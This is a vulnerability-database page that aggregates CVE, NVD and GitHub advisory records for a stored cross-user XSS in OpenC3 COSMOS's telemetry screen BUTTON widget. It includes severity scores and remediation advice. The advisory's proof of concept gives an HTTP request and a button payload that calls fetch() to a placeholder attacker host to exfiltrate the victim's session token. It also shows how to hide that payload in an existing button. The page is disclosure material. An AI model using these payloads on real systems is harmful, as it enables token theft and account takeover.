Vulnerability-Lookup

CVE-2026-77394 (GCVE-0-2026-77394)

Vulnerability from cvelistv5 – Published: 2026-09-23 18:53 – Updated: 2026-09-23 19:28

Title

OpenC3 COSMOS: Stored, cross-user XSS via Telemetry screen BUTTON widget

Summary

OpenC3 COSMOS provides the functionality needed to send commands to and receive data from one or more embedded systems. From 5.0.6 until 7.3.0, an authenticated actor with system_set permission can store a shared screen through POST /openc3-api/screen whose BUTTON widget action is evaluated by openc3-cosmos-init/plugins/packages/openc3-vue-common/src/widgets/ButtonWidget.vue in another operator's browser session when the button is activated. The stored script runs in the COSMOS origin and can read localStorage.openc3Token, allowing theft of the victim's bearer token, account takeover, and actions with the victim's privileges. The permissive content security policy contributes to execution but is not the primary root cause. This issue is fixed in version 7.3.0.

Severity

7.6 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-09-23 19:27 UTC

CWE

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Assigner

GitHub_M mitre root

References

4 references

URL	Tags
https://github.com/OpenC3/cosmos/security/advisor…	x_refsource_CONFIRM
https://github.com/OpenC3/cosmos/pull/3560	x_refsource_MISC
https://github.com/OpenC3/cosmos/commit/10371f8f4…	x_refsource_MISC
https://github.com/OpenC3/cosmos/releases/tag/v7.3.0	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
OpenC3	cosmos	Affected: >= 5.0.6, < 7.3.0	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-77394",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-09-23T19:27:36.468261Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-09-23T19:28:31.603Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/OpenC3/cosmos/security/advisories/GHSA-gvf2-2rh5-mpgf"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "cosmos",
          "vendor": "OpenC3",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 5.0.6, \u003c 7.3.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "OpenC3 COSMOS provides the functionality needed to send commands to and receive data from one or more embedded systems. From 5.0.6 until 7.3.0, an authenticated actor with system_set permission can store a shared screen through POST /openc3-api/screen whose BUTTON widget action is evaluated by openc3-cosmos-init/plugins/packages/openc3-vue-common/src/widgets/ButtonWidget.vue in another operator\u0027s browser session when the button is activated. The stored script runs in the COSMOS origin and can read localStorage.openc3Token, allowing theft of the victim\u0027s bearer token, account takeover, and actions with the victim\u0027s privileges. The permissive content security policy contributes to execution but is not the primary root cause. This issue is fixed in version 7.3.0."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.6,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "LOW",
            "privilegesRequired": "LOW",
            "scope": "CHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-79",
              "description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-23T18:53:20.506Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/OpenC3/cosmos/security/advisories/GHSA-gvf2-2rh5-mpgf",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/OpenC3/cosmos/security/advisories/GHSA-gvf2-2rh5-mpgf"
        },
        {
          "name": "https://github.com/OpenC3/cosmos/pull/3560",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/OpenC3/cosmos/pull/3560"
        },
        {
          "name": "https://github.com/OpenC3/cosmos/commit/10371f8f410b9ad588f98dfa3befaaacb6587cd3",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/OpenC3/cosmos/commit/10371f8f410b9ad588f98dfa3befaaacb6587cd3"
        },
        {
          "name": "https://github.com/OpenC3/cosmos/releases/tag/v7.3.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/OpenC3/cosmos/releases/tag/v7.3.0"
        }
      ],
      "source": {
        "advisory": "GHSA-gvf2-2rh5-mpgf",
        "discovery": "UNKNOWN"
      },
      "title": "OpenC3 COSMOS: Stored, cross-user XSS via Telemetry screen BUTTON widget"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-77394",
    "datePublished": "2026-09-23T18:53:20.506Z",
    "dateReserved": "2026-08-20T19:55:27.022Z",
    "dateUpdated": "2026-09-23T19:28:31.603Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-77394",
      "date": "2026-09-24",
      "epss": "0.0039",
      "percentile": "0.30232"
    },
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "product": "cosmos",
                "vendor": "OpenC3",
                "versions": [
                  {
                    "status": "affected",
                    "version": "\u003e= 5.0.6, \u003c 7.3.0"
                  }
                ]
              }
            ],
            "source": "security-advisories@github.com"
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "OpenC3 COSMOS provides the functionality needed to send commands to and receive data from one or more embedded systems. From 5.0.6 until 7.3.0, an authenticated actor with system_set permission can store a shared screen through POST /openc3-api/screen whose BUTTON widget action is evaluated by openc3-cosmos-init/plugins/packages/openc3-vue-common/src/widgets/ButtonWidget.vue in another operator\u0027s browser session when the button is activated. The stored script runs in the COSMOS origin and can read localStorage.openc3Token, allowing theft of the victim\u0027s bearer token, account takeover, and actions with the victim\u0027s privileges. The permissive content security policy contributes to execution but is not the primary root cause. This issue is fixed in version 7.3.0."
          }
        ],
        "id": "CVE-2026-77394",
        "lastModified": "2026-09-23T20:17:15.660",
        "metrics": {
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 7.6,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "LOW",
                "privilegesRequired": "LOW",
                "scope": "CHANGED",
                "userInteraction": "REQUIRED",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N",
                "version": "3.1"
              },
              "exploitabilityScore": 2.3,
              "impactScore": 4.7,
              "source": "security-advisories@github.com",
              "type": "Secondary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2026-77394",
                "options": [
                  {
                    "exploitation": "poc"
                  },
                  {
                    "automatable": "no"
                  },
                  {
                    "technicalImpact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-09-23T19:27:36.468261Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2026-09-23T19:19:15.343",
        "references": [
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/OpenC3/cosmos/commit/10371f8f410b9ad588f98dfa3befaaacb6587cd3"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/OpenC3/cosmos/pull/3560"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/OpenC3/cosmos/releases/tag/v7.3.0"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/OpenC3/cosmos/security/advisories/GHSA-gvf2-2rh5-mpgf"
          },
          {
            "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
            "url": "https://github.com/OpenC3/cosmos/security/advisories/GHSA-gvf2-2rh5-mpgf"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Deferred",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-79"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Secondary"
          }
        ]
      }
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-77394",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "no"
                      },
                      {
                        "Technical Impact": "partial"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-09-23T19:27:36.468261Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-09-23T19:28:25.805Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "references": [
              {
                "tags": [
                  "exploit"
                ],
                "url": "https://github.com/OpenC3/cosmos/security/advisories/GHSA-gvf2-2rh5-mpgf"
              }
            ],
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "cosmos",
              "vendor": "OpenC3",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003e= 5.0.6, \u003c 7.3.0"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "OpenC3 COSMOS provides the functionality needed to send commands to and receive data from one or more embedded systems. From 5.0.6 until 7.3.0, an authenticated actor with system_set permission can store a shared screen through POST /openc3-api/screen whose BUTTON widget action is evaluated by openc3-cosmos-init/plugins/packages/openc3-vue-common/src/widgets/ButtonWidget.vue in another operator\u0027s browser session when the button is activated. The stored script runs in the COSMOS origin and can read localStorage.openc3Token, allowing theft of the victim\u0027s bearer token, account takeover, and actions with the victim\u0027s privileges. The permissive content security policy contributes to execution but is not the primary root cause. This issue is fixed in version 7.3.0."
            }
          ],
          "metrics": [
            {
              "cvssV3_1": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 7.6,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "LOW",
                "privilegesRequired": "LOW",
                "scope": "CHANGED",
                "userInteraction": "REQUIRED",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N",
                "version": "3.1"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-79",
                  "description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-09-23T18:53:20.506Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/OpenC3/cosmos/security/advisories/GHSA-gvf2-2rh5-mpgf",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/OpenC3/cosmos/security/advisories/GHSA-gvf2-2rh5-mpgf"
            },
            {
              "name": "https://github.com/OpenC3/cosmos/pull/3560",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/OpenC3/cosmos/pull/3560"
            },
            {
              "name": "https://github.com/OpenC3/cosmos/commit/10371f8f410b9ad588f98dfa3befaaacb6587cd3",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/OpenC3/cosmos/commit/10371f8f410b9ad588f98dfa3befaaacb6587cd3"
            },
            {
              "name": "https://github.com/OpenC3/cosmos/releases/tag/v7.3.0",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/OpenC3/cosmos/releases/tag/v7.3.0"
            }
          ],
          "source": {
            "advisory": "GHSA-gvf2-2rh5-mpgf",
            "discovery": "UNKNOWN"
          },
          "title": "OpenC3 COSMOS: Stored, cross-user XSS via Telemetry screen BUTTON widget"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2026-77394",
        "datePublished": "2026-09-23T18:53:20.506Z",
        "dateReserved": "2026-08-20T19:55:27.022Z",
        "dateUpdated": "2026-09-23T19:28:31.603Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-77394

Vulnerability from fkie_nvd - Published: 2026-09-23 19:19 - Updated: 2026-09-23 20:17

Severity

7.6 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/OpenC3/cosmos/commit/10371f8f410b9ad588f98dfa3befaaacb6587cd3
	security-advisories@github.com	https://github.com/OpenC3/cosmos/pull/3560
	security-advisories@github.com	https://github.com/OpenC3/cosmos/releases/tag/v7.3.0
	security-advisories@github.com	https://github.com/OpenC3/cosmos/security/advisories/GHSA-gvf2-2rh5-mpgf
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/OpenC3/cosmos/security/advisories/GHSA-gvf2-2rh5-mpgf

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "cosmos",
          "vendor": "OpenC3",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 5.0.6, \u003c 7.3.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "OpenC3 COSMOS provides the functionality needed to send commands to and receive data from one or more embedded systems. From 5.0.6 until 7.3.0, an authenticated actor with system_set permission can store a shared screen through POST /openc3-api/screen whose BUTTON widget action is evaluated by openc3-cosmos-init/plugins/packages/openc3-vue-common/src/widgets/ButtonWidget.vue in another operator\u0027s browser session when the button is activated. The stored script runs in the COSMOS origin and can read localStorage.openc3Token, allowing theft of the victim\u0027s bearer token, account takeover, and actions with the victim\u0027s privileges. The permissive content security policy contributes to execution but is not the primary root cause. This issue is fixed in version 7.3.0."
    }
  ],
  "id": "CVE-2026-77394",
  "lastModified": "2026-09-23T20:17:15.660",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 7.6,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "LOW",
          "privilegesRequired": "LOW",
          "scope": "CHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.3,
        "impactScore": 4.7,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-77394",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-09-23T19:27:36.468261Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-09-23T19:19:15.343",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/OpenC3/cosmos/commit/10371f8f410b9ad588f98dfa3befaaacb6587cd3"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/OpenC3/cosmos/pull/3560"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/OpenC3/cosmos/releases/tag/v7.3.0"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/OpenC3/cosmos/security/advisories/GHSA-gvf2-2rh5-mpgf"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/OpenC3/cosmos/security/advisories/GHSA-gvf2-2rh5-mpgf"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-79"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-GVF2-2RH5-MPGF

Vulnerability from github – Published: 2026-09-23 21:24 – Updated: 2026-09-23 21:24

Summary

OpenC3 COSMOS: Stored, cross-user XSS via Telemetry screen BUTTON widget

Details

Summary

A user who can save a telemetry screen (permission system_set) can embed JavaScript in a screen BUTTON widget. The BUTTON widget eval()s the stored button text in the browser when the button is activated, and screens are shared content rendered to other users in the scope. As a result, an attacker's stored JavaScript executes in a different operator's authenticated session — a stored, cross-user XSS (not self-XSS). The payload runs in the COSMOS origin and can read localStorage.openc3Token (the victim's session token), enabling session/account takeover and, via the victim's privileges, a path to server-side code execution through the Script Runner.

The site's Content-Security-Policy permits 'unsafe-inline'/'unsafe-eval' (see "Contributing factor"), so the injected script runs unimpeded.

Product: OpenC3 COSMOS (Core; likely Enterprise — see scoping note)
Affected version: confirmed 7.2.0 (latest, tested 2026-06-25); the code path is present on main. Lower bound for maintainer to confirm.
Reporter: Arpit Kubadia

Description & root cause

Screen save (the store): POST /openc3-api/screen → ScreensController#create (openc3-cosmos-cmd-tlm-api/app/controllers/screens_controller.rb:35-43) persists the raw screen text after authorization('system_set'). No sanitization of the screen body.
The sink (the execution): the BUTTON widget stores the button's action as its second parameter and eval()s it on click — openc3-cosmos-init/plugins/packages/openc3-vue-common/src/widgets/ButtonWidget.vue:109: js const lines = this.eval.split(';;') // this.eval == parameters[1] from the stored screen ... const result = eval(lines[i].trim()) // attacker-controlled string -> arbitrary JS in the victim's session
Cross-user delivery: screens are stored per-scope and rendered to any user who opens them (e.g. in Telemetry Viewer). So a screen saved by user A executes in user B's browser.
Contributing factor (CSP): openc3-traefik/traefik.yaml:63 sets script-src 'unsafe-inline' 'unsafe-eval' https: blob: ... on every SPA response, so the injected/eval'd script is not blocked. (Reportable as a hardening item in its own right.)

Proof of Concept

A. Minimal PoC — a button that steals the viewer's token (verified)

Authenticated as any user (Core) / a system_set user (Enterprise), store a screen:

POST /openc3-api/screen HTTP/1.1
Host: localhost:2900
Content-Type: application/json
Authorization: ses_<YOUR_TOKEN>
Content-Length: 224

{"scope":"DEFAULT","target":"INST","screen":"XSSPOC","text":"SCREEN AUTO AUTO 1.0\nLABEL \"Instrument Status\"\nBUTTON 'Refresh' 'fetch(\"https://ATTACKER-COLLABORATOR/?t=\"+encodeURIComponent(localStorage.openc3Token))'\n"}

→ HTTP 200, body true. Trigger (as the victim): open http://<host>:2900/tools/tlmviewer → Target INST, Screen XSSPOC → click Refresh. The victim's session token is exfiltrated to ATTACKER-COLLABORATOR. (Verified: an out-of-band request carrying a live ses_… token was received at the attacker host.)

A purely visual variant: replace the action with alert(localStorage.openc3Token).

B. Realistic exploitation — hijack an EXISTING operational screen (no lure)

The minimal PoC needs the victim to open the attacker's screen. The realistic attack overwrites a screen operators already use, hiding the payload behind a button they already click: - The BUTTON action is eval'd after this.eval.split(';;'), so appending ;; <payload> to an existing button keeps the original command working and adds the attacker's code. The operator sees no change. - Example: take the stock INST COMMANDING screen's Start Collect button (which sends api.cmd('INST COLLECT ...')) and append: ... + " ;; fetch('https://ATTACKER-COLLABORATOR/?t='+encodeURIComponent(localStorage.openc3Token))" Re-save the screen (POST /openc3-api/screen, same route). Now every operator who opens COMMANDING and clicks Start Collect during normal operations sends the real command and leaks their session token. No new button, no behavioral change, no social-engineering lure.

Impact

The injected script runs with the victim's session in the COSMOS origin. It can: - Exfiltrate the victim's session token (localStorage.openc3Token) → session/account takeover (the token is a bearer credential accepted in the Authorization header). - Act as the victim against the API, and — for a victim with script privileges — pivot to the Script Runner to achieve server-side code execution (the documented escalation chain). This is cross-user / persistent: an attacker who can edit shared screens compromises the sessions of other operators viewing those screens, which is materially worse than self-XSS.

Remediation

Do not eval() screen-supplied strings. Replace the BUTTON widget's eval with a constrained, non-eval command interface (an allow-listed API surface / safe expression evaluator), or sandbox it.
Tighten the CSP (openc3-traefik/traefik.yaml): remove 'unsafe-inline'/'unsafe-eval', move to per-request nonce + 'strict-dynamic', add object-src 'none', base-uri 'self', frame-ancestors 'self'. This alone neutralizes injected inline/eval'd script.
Treat screens as untrusted, cross-user content — escape/validate on render; consider gating screen-embedded JavaScript behind a dedicated, clearly-privileged capability rather than the general system_set.

Severity

7.6 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 7.2.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@openc3/vue-common"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.6"
            },
            {
              "fixed": "7.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-77394"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-23T21:24:11Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\nA user who can save a telemetry **screen** (permission `system_set`) can embed JavaScript in a screen `BUTTON` widget. The `BUTTON` widget **`eval()`s the stored button text in the browser** when the button is activated, and screens are **shared content rendered to other users in the scope**. As a result, an attacker\u0027s stored JavaScript executes **in a different operator\u0027s authenticated session** \u2014 a **stored, cross-user XSS** (not self-XSS). The payload runs in the COSMOS origin and can read `localStorage.openc3Token` (the victim\u0027s session token), enabling **session/account takeover** and, via the victim\u0027s privileges, a path to server-side code execution through the Script Runner.\n\nThe site\u0027s Content-Security-Policy permits `\u0027unsafe-inline\u0027`/`\u0027unsafe-eval\u0027` (see \"Contributing factor\"), so the injected script runs unimpeded.\n\n- **Product:** OpenC3 COSMOS (Core; likely Enterprise \u2014 see scoping note)\n- **Affected version:** confirmed **7.2.0** (latest, tested 2026-06-25); the code path is present on `main`. Lower bound for maintainer to confirm.\n- **Reporter:** _Arpit Kubadia_ \n\n## Description \u0026 root cause\n1. **Screen save (the store):** `POST /openc3-api/screen` \u2192 `ScreensController#create` (`openc3-cosmos-cmd-tlm-api/app/controllers/screens_controller.rb:35-43`) persists the raw screen text after `authorization(\u0027system_set\u0027)`. No sanitization of the screen body.\n2. **The sink (the execution):** the `BUTTON` widget stores the button\u0027s action as its second parameter and **`eval()`s it on click** \u2014 `openc3-cosmos-init/plugins/packages/openc3-vue-common/src/widgets/ButtonWidget.vue:109`:\n   ```js\n   const lines = this.eval.split(\u0027;;\u0027)   // this.eval == parameters[1] from the stored screen\n   ...\n   const result = eval(lines[i].trim())  // attacker-controlled string -\u003e arbitrary JS in the victim\u0027s session\n   ```\n3. **Cross-user delivery:** screens are stored per-scope and rendered to **any** user who opens them (e.g. in Telemetry Viewer). So a screen saved by user A executes in user B\u0027s browser.\n4. **Contributing factor (CSP):** `openc3-traefik/traefik.yaml:63` sets `script-src \u0027unsafe-inline\u0027 \u0027unsafe-eval\u0027 https: blob: ...` on every SPA response, so the injected/eval\u0027d script is not blocked. (Reportable as a hardening item in its own right.)\n\n## Proof of Concept\n\n### A. Minimal PoC \u2014 a button that steals the viewer\u0027s token (verified)\nAuthenticated as any user (Core) / a `system_set` user (Enterprise), store a screen:\n```\nPOST /openc3-api/screen HTTP/1.1\nHost: localhost:2900\nContent-Type: application/json\nAuthorization: ses_\u003cYOUR_TOKEN\u003e\nContent-Length: 224\n\n{\"scope\":\"DEFAULT\",\"target\":\"INST\",\"screen\":\"XSSPOC\",\"text\":\"SCREEN AUTO AUTO 1.0\\nLABEL \\\"Instrument Status\\\"\\nBUTTON \u0027Refresh\u0027 \u0027fetch(\\\"https://ATTACKER-COLLABORATOR/?t=\\\"+encodeURIComponent(localStorage.openc3Token))\u0027\\n\"}\n```\n\u2192 HTTP 200, body `true`. **Trigger (as the victim):** open `http://\u003chost\u003e:2900/tools/tlmviewer` \u2192 Target `INST`, Screen `XSSPOC` \u2192 click **Refresh**. The victim\u0027s session token is exfiltrated to `ATTACKER-COLLABORATOR`. *(Verified: an out-of-band request carrying a live `ses_\u2026` token was received at the attacker host.)*\n\nA purely visual variant: replace the action with `alert(localStorage.openc3Token)`.\n\n### B. Realistic exploitation \u2014 hijack an EXISTING operational screen (no lure)\nThe minimal PoC needs the victim to open the attacker\u0027s screen. The realistic attack overwrites a screen operators **already use**, hiding the payload behind a button they **already click**:\n- The `BUTTON` action is `eval`\u0027d after `this.eval.split(\u0027;;\u0027)`, so **appending `;; \u003cpayload\u003e` to an existing button keeps the original command working and adds the attacker\u0027s code**. The operator sees no change.\n- Example: take the stock `INST COMMANDING` screen\u0027s **`Start Collect`** button (which sends `api.cmd(\u0027INST COLLECT ...\u0027)`) and append:\n  ```\n  ... +\n  \" ;; fetch(\u0027https://ATTACKER-COLLABORATOR/?t=\u0027+encodeURIComponent(localStorage.openc3Token))\"\n  ```\n  Re-save the screen (`POST /openc3-api/screen`, same route). Now every operator who opens COMMANDING and clicks `Start Collect` during normal operations sends the real command **and** leaks their session token. No new button, no behavioral change, no social-engineering lure.\n\n## Impact\nThe injected script runs with the victim\u0027s session in the COSMOS origin. It can:\n- **Exfiltrate the victim\u0027s session token** (`localStorage.openc3Token`) \u2192 session/account takeover (the token is a bearer credential accepted in the `Authorization` header).\n- Act as the victim against the API, and \u2014 for a victim with script privileges \u2014 pivot to the **Script Runner** to achieve **server-side code execution** (the documented escalation chain).\nThis is **cross-user / persistent**: an attacker who can edit shared screens compromises the sessions of other operators viewing those screens, which is materially worse than self-XSS.\n\n## Remediation\n1. **Do not `eval()` screen-supplied strings.** Replace the `BUTTON` widget\u0027s `eval` with a constrained, non-`eval` command interface (an allow-listed API surface / safe expression evaluator), or sandbox it.\n2. **Tighten the CSP** (`openc3-traefik/traefik.yaml`): remove `\u0027unsafe-inline\u0027`/`\u0027unsafe-eval\u0027`, move to per-request `nonce` + `\u0027strict-dynamic\u0027`, add `object-src \u0027none\u0027`, `base-uri \u0027self\u0027`, `frame-ancestors \u0027self\u0027`. This alone neutralizes injected inline/eval\u0027d script.\n3. **Treat screens as untrusted, cross-user content** \u2014 escape/validate on render; consider gating screen-embedded JavaScript behind a dedicated, clearly-privileged capability rather than the general `system_set`.",
  "id": "GHSA-gvf2-2rh5-mpgf",
  "modified": "2026-09-23T21:24:11Z",
  "published": "2026-09-23T21:24:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/OpenC3/cosmos/security/advisories/GHSA-gvf2-2rh5-mpgf"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OpenC3/cosmos/pull/3560"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OpenC3/cosmos/commit/10371f8f410b9ad588f98dfa3befaaacb6587cd3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/OpenC3/cosmos"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OpenC3/cosmos/releases/tag/v7.3.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenC3 COSMOS: Stored, cross-user XSS via Telemetry screen BUTTON widget"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-77394 (GCVE-0-2026-77394)

FKIE_CVE-2026-77394

GHSA-GVF2-2RH5-MPGF

Summary

Description & root cause

Proof of Concept

A. Minimal PoC — a button that steals the viewer's token (verified)

B. Realistic exploitation — hijack an EXISTING operational screen (no lure)

Impact

Remediation

Tags

Sightings

Nomenclature

Related by attack behaviour